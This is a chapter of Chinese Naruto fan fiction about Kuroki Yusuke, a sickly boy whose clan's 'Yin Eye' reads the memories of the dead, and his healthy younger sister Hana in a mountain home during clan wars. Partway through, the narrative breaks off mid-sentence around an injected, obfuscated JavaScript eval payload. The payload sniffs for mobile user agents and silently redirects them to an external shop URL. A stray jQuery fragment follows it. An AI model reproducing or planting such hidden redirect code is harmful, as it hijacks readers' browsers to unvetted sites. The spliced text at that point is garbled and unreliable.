木叶创立前八年
深山中与世隔绝的黑木一族老宅,庭院寂静,只剩风拂枝叶的轻响。
后院泥土松软,少年黑木佑介弯腰俯身,耐心打理着数月前亲手种下的野菜。他指尖轻柔拨开菜苗旁丛生的杂草,动作缓慢又仔细,长久屈膝下蹲的姿势,本就孱弱的身体早已不堪负荷,气血不断下沉。
他撑着膝盖缓缓起身的刹那,眼前骤然发黑,天旋地转的眩晕席卷而来,指尖微微发颤,扶着身侧土墙伫立良久,混沌的视线才慢慢清晰。
体弱多病,是刻在黑木一族血脉里的宿命。
自降生起,他便承受着与生俱来的体虚。父母也同样受制于血脉顽疾,熬不过年岁,早早撒手离世,偌大古朴的黑木老宅,高墙深院,到头来,只剩兄妹二人相依为命。
没落至此的黑木一族,早已走向末路。族中族人天生气血亏虚、寿数被血脉桎梏,几乎无人能活过二十岁,大半族人甚至等不到婚配诞下子嗣,便在病痛中凋零。辗转岁月,整片深山黑木宅域,最终存活下来的,仅剩黑木佑介与小花兄妹二人。
“哥哥你看!我像不像公主!”
清脆的童声陡然划破庭院寂静。
黑木佑介抬眸望去,小花盘腿坐在院内老樱花树枝桠上,乌黑柔顺的发丝间,别着几朵素净洁白的落樱,风一吹,花瓣伴着发丝轻轻晃动。
素来眉眼寡淡、周身浸着病态阴郁的黑木佑介,眉眼瞬间柔和下来,浅浅弯起唇角,温声提醒树上的女孩:
“小心点,上次从树上摔下来,额头肿了好大一个包,疼了好几日。”
小花立刻不服气地撇起小嘴,身形轻盈起身,毫无顾忌纵身一跃,稳稳落地,分毫未伤。
“上次只是我不小心而已!我现在很厉害的,想下来轻而易举!”
说完,她转头蹦蹦跳跳往前院跑去,追着翩跹飞舞的彩蝶。
黑木佑介望着妹妹无忧无虑的背影,唇角笑意久久没有散去。
小花和他截然不同。
黑木一族世代肤白体弱、百病缠身,是刻入骨髓的体质,可唯独小花拥有健康透亮的小麦色肌肤,筋骨强健,体魄远超寻常孩童。从小到大,风寒小病从不上身,就连席卷深山、夺走无数黑木族人性命的烈性时疫,也没能撼动她分毫。
黑木佑介无数次暗自庆幸,暗自奢想,或许小花是异类,她挣脱了黑木一族活不过二十岁的必死宿命,或许她不必承受日日病痛缠身的煎熬,可以走出深山,平安顺遂,长久活下去。
他收回目光,重新蹲下身,打理脚下菜地。
一滴温热汗珠顺着苍白单薄的额角滑落,坠入湿润泥土之中。土垄间,野菜种子破土而出,冒出嫩生生的青绿新芽,稚嫩渺小,却格外有生命力。
黑木佑介紧蹙多日的眉间,彻底舒展。
这是新芽,是新生。
是濒临灭族的黑木一族,仅剩的希望。
他强忍胸腔翻涌的气虚胸闷、四肢酸软的病痛,指尖轻轻抚过嫩绿苗尖。
或许小花,是上天怜悯黑木一族,赐予他,赐予这个没落族群,唯一的救赎。
恰逢连绵梅雨时节,冷雨昼夜不休倾泻而下,滂沱大雨泡软整片后院田地,泥泞积水漫过菜垄,黑木佑介再也没法像往日一样下地耕作。
他静坐在廊下榻榻米上,望着雨幕里被雨水彻底浸透、一片狼藉的菜园,长长叹出一口气。
“哥哥!干嘛唉声叹气的呀!”
清脆的童声自身后响起,黑木佑介缓缓转身,撞入小花一双干净懵懂、不染世事的眼眸,他抬手,温柔揉了揉女孩柔软的黑发,嗓音带着久病后的轻哑:
“雨下太大,后院菜地全淹了,你最喜欢的胡萝卜,要被雨水泡坏了。”
小花闻言,干脆一屁股挨着他坐下,眉眼弯弯毫无担忧:“胡萝卜没了也没关系,我们可以吃桃子呀。”
话音落下,她从身后兜着的衣襟里,掏出两颗圆润饱满的粉桃。
黑木佑介眼底泛起疑惑:“我们宅院附近从没有桃树,桃子你从哪里得来的?”
小花指尖攥着桃子,眼神躲闪,语气怯生生吞吞吐吐:“上次……我偷偷下山了。山脚下长了一棵桃树,果子熟透了,我摘了几颗,想带回来给哥哥吃。”
听闻私自下山,黑木佑介神色骤然绷紧,眼底漫开浓重的担忧与愠怒。深山外遍布外族忍者、野兽险境,以小花的年纪,私自下山凶险万分。可看着女孩澄澈胆怯的眼眸,他到了嘴边的重话,终究一句也说不出口,只剩满心后怕:
“怎么敢偷偷跑出去……外面太危险了。”
小花挠了挠后脑勺,看清哥哥眼底藏不住的担心,连忙伸手轻轻拉住他单薄的衣袖,晃了晃衣角撒娇示弱:“我知道错啦,下次绝对不乱跑了,哥哥快尝尝桃子甜不甜。”
女孩的妥协,让黑木佑介心底的火气尽数消散,终究狠不下心再苛责半句。
他拿起桃子,撑着廊柱费力起身,体虚带来的眩晕即刻袭来,眼前黑雾翻涌,身形微微晃了晃,伫立许久,涣散的视线才慢慢平复清晰。
“我去切好再吃。”
他缓步挪至厨房,动作缓慢剥去桃皮,刀刃细细切割,将果肉切成大小适中的小块,刚好适配妹妹小口进食。
处理完毕,他端着木盘缓步走回廊下,将果盘轻放在榻榻米上,抬眼便看见小花低头专注捣鼓着什么。
“小花在做什么?”
小花手里攥着捡来的白色旧破布、蓬松干棉花,还有一根粗糙麻绳,指尖笨拙地打结缠布,头也不抬答道:
“每次下雨哥哥都会不开心,妈妈以前说,挂晴天娃娃,雨就会停啦,就会有晴天了。”
黑木佑介身形微顿,心底酸涩翻涌,伸手温柔接过她手里粗糙的布料与棉线,轻声道:
“我来吧。”
那日雨天做成的晴天娃娃,自此长久悬挂在黑木老宅廊檐之下。往后岁岁风雨,梅雨滂沱,寒风过境,那只白布缝制的晴天娃娃,始终静静悬于檐下,安然不动。
这一日,小花整日缠着黑木佑介,满眼向往地嚷嚷着,想要下山看一看深山之外的集市。
恰逢黑木佑介本就要前往山脚集市,置换家中紧缺的疗伤草药,耐不住妹妹一遍遍软磨硬泡,几番推脱无果后,他终究心软,带着小花一同下山。
他牢牢攥住小花的小手,后背背着盛满野菜的竹编大筐,步履缓慢前行。一路之上,小花脚步轻快蹦蹦跳跳,满眼都是山野之外的新鲜景致。可黑木佑介截然相反,本就孱弱的身子经不起长途跋涉,不过缓步走上几段山路,便喉间发痒,剧烈咳喘不止,只能扶着树干停下脚步,原地喘息休整许久,才能继续赶路。
一路煎熬,二人终于抵达山脚集市。
黑木佑介原本打算将背上野菜变卖,换取调理体虚的草药,可时隔数月未曾下山,往日热闹的集市早已彻底萧条,街巷空旷冷清,放眼望去,四下空无一人。
行至街角转角,一具横躺的尸体毫无征兆映入眼帘。
黑木佑介心头骤紧,下意识抬手,稳稳捂住小花的双眼,隔绝血腥画面。他心头沉到谷底,这片山脚地界向来归日向一族管辖,秩序安稳,按理绝不会凭空出现弃尸。
周遭死寂无声,连风声都消散殆尽,极致的安静,让他心底的不安疯狂蔓延。
下一瞬,黑木佑介眉心一道与生俱来的细小缝隙缓缓撑开,一只通体纯黑、无瞳无白、浑然暗沉的竖瞳眼眸,自额头缓缓睁开,黑眸沉沉锁定地面尸体,分毫不错,洞悉一切。
这是独属于黑木一族的专属血继限界。
阴之眼。
但凡被这只黑眸凝望的生命,其所有生命波动皆会被尽数复刻收录。
生命起源、毕生记忆、过往经历、查克拉流转轨迹,生灵一切
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17643945|203075||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
隐秘过往,在阴之眼下无处遁形,分毫无法掩藏。
这般足以撼动忍界、逆天至极的情报血继,却成了黑木一族最无用的天赋。此术催动需要海量查克拉支撑,可族人生来气血枯竭,寿数短暂,根本无力承担术式消耗,久而久之,拥有阴之眼的黑木族人,只能永世隐居深山,藏起天赋,苟活度日。
此刻阴之眼全力运转,尸体此生所有画面,尽数涌入黑木佑介脑海。
死者是日向分家精英忍者,这片日向管辖山脚领地,早已暗中被宇智波、千手两族瓜分占领。这名日向忍者身负族群机密情报,赶路返程途中,遭遇宇智波忍者伏击暗杀,死后被随意抛尸街角。
知晓真相的那一刻,外族屠戮的凶险,彻底压垮黑木佑介心神。他不敢停留分毫,攥紧小花的手腕,转身循着来路拼命往深山老宅折返。
山路崎岖湿滑,体虚乏力加上心神慌乱,黑木佑介一路踉跄,接连摔倒数次,浑身沾满泥土擦伤,数次险些晕厥倒地。
全程皆是小花稳住身形,伸手搀扶起虚弱不堪的哥哥,一步步借力前行,兄妹二人相互搀扶,历尽狼狈,终于逃回与世隔绝、尚且安稳的深山宅院之中。
自下山撞见尸体那日起,黑木佑介便彻底断了下山的念头。催动阴之眼本就会耗损海量查克拉,本就先天孱弱的身体经此一遭,更是一日弱过一日,精气神肉眼可见地衰败下去。
小花将这一切看在眼里,自此寸步不离地守在他身侧,片刻也不肯走远。
山外战火蔓延,连深山脚下都被硝烟与厮杀笼罩,不安日夜啃噬着黑木佑介的心。他不止一次盘算,要不要带着妹妹举家迁移,寻一处彻底远离纷争的容身之地。可念头辗转,终究只剩无奈,他不知世间还有哪片净土能接纳他们兄妹,更何况路途凶险,以自己如今的状态,迁徙路上稍有不慎,便是万劫不复。
进退两难之间,日子便在惶惶不安中一天天流逝。
这天清晨,剧烈的头痛猛地袭来,黑木佑介抬手抚上额头,掌心触到一片滚烫,心知旧疾复发,又发起了高热。他强撑着发软的四肢起身,想去厨房熬煮汤药,可转头看向墙角的药筐,里面早已空空如也。山脚下动乱不休,他根本没机会外出换取新药,如今连压制高热的草药,都彻底断了供给。
浓重的眩晕猝不及防袭来,眼前光影剧烈晃动,黑木佑介再也支撑不住,身子一歪,重重栽倒在冰冷的地板上。
再度睁开双眼时,入目是熟悉的起居室陈设。小花正跪坐在他身旁,满脸都是掩不住的担忧。想来是妹妹发现他倒在厨房,凭着尚且稚嫩的身躯,一点点费力将他挪到了榻上,额间微凉的湿布巾,也是小花细心敷上用来降温的。
“哥哥,你好点了吗?”
带着一丝颤音,小花怯生生地开口。
黑木佑介闷咳几声,胸腔阵阵发闷,他拼尽残存的力气,扯出一抹浅淡的笑意:
“哥哥没事,睡一觉就会好起来的。”
见妹妹眼眶泛红,眼看就要落下泪来,他连忙柔声安抚:“小花别哭,等哥哥身子痊愈了,就带你去山脚下摘桃子。”
小花抬手抹了抹眼角的湿意,小嘴微微抿起,带着几分委屈与执拗:
“……哥哥之前不是不喜欢我摘的桃子吗?”
黑木佑介又是一阵轻咳,气息虚浮,话语也断断续续:“怎么会不喜欢……哥哥最喜欢了……听话,别难过,好不好?”
见女孩的情绪渐渐平复,他悬着的心才稍稍落下。小花挨着榻榻米趴在床边,低头自顾自摆弄着手里的小物件,安安静静不再作声。高热裹挟着疲惫不断侵袭,黑木佑介的意识渐渐变得模糊,眼皮沉重得抬不起来,终究缓缓沉入昏睡之中。
这一觉不知过了多久,屋外天色早已彻底沉暗,夜色裹住整座宅院。轰隆一声惊雷骤然炸响,震得整个老宅微微颤动,沉眠中的黑木佑介,猛地被这道巨响惊醒。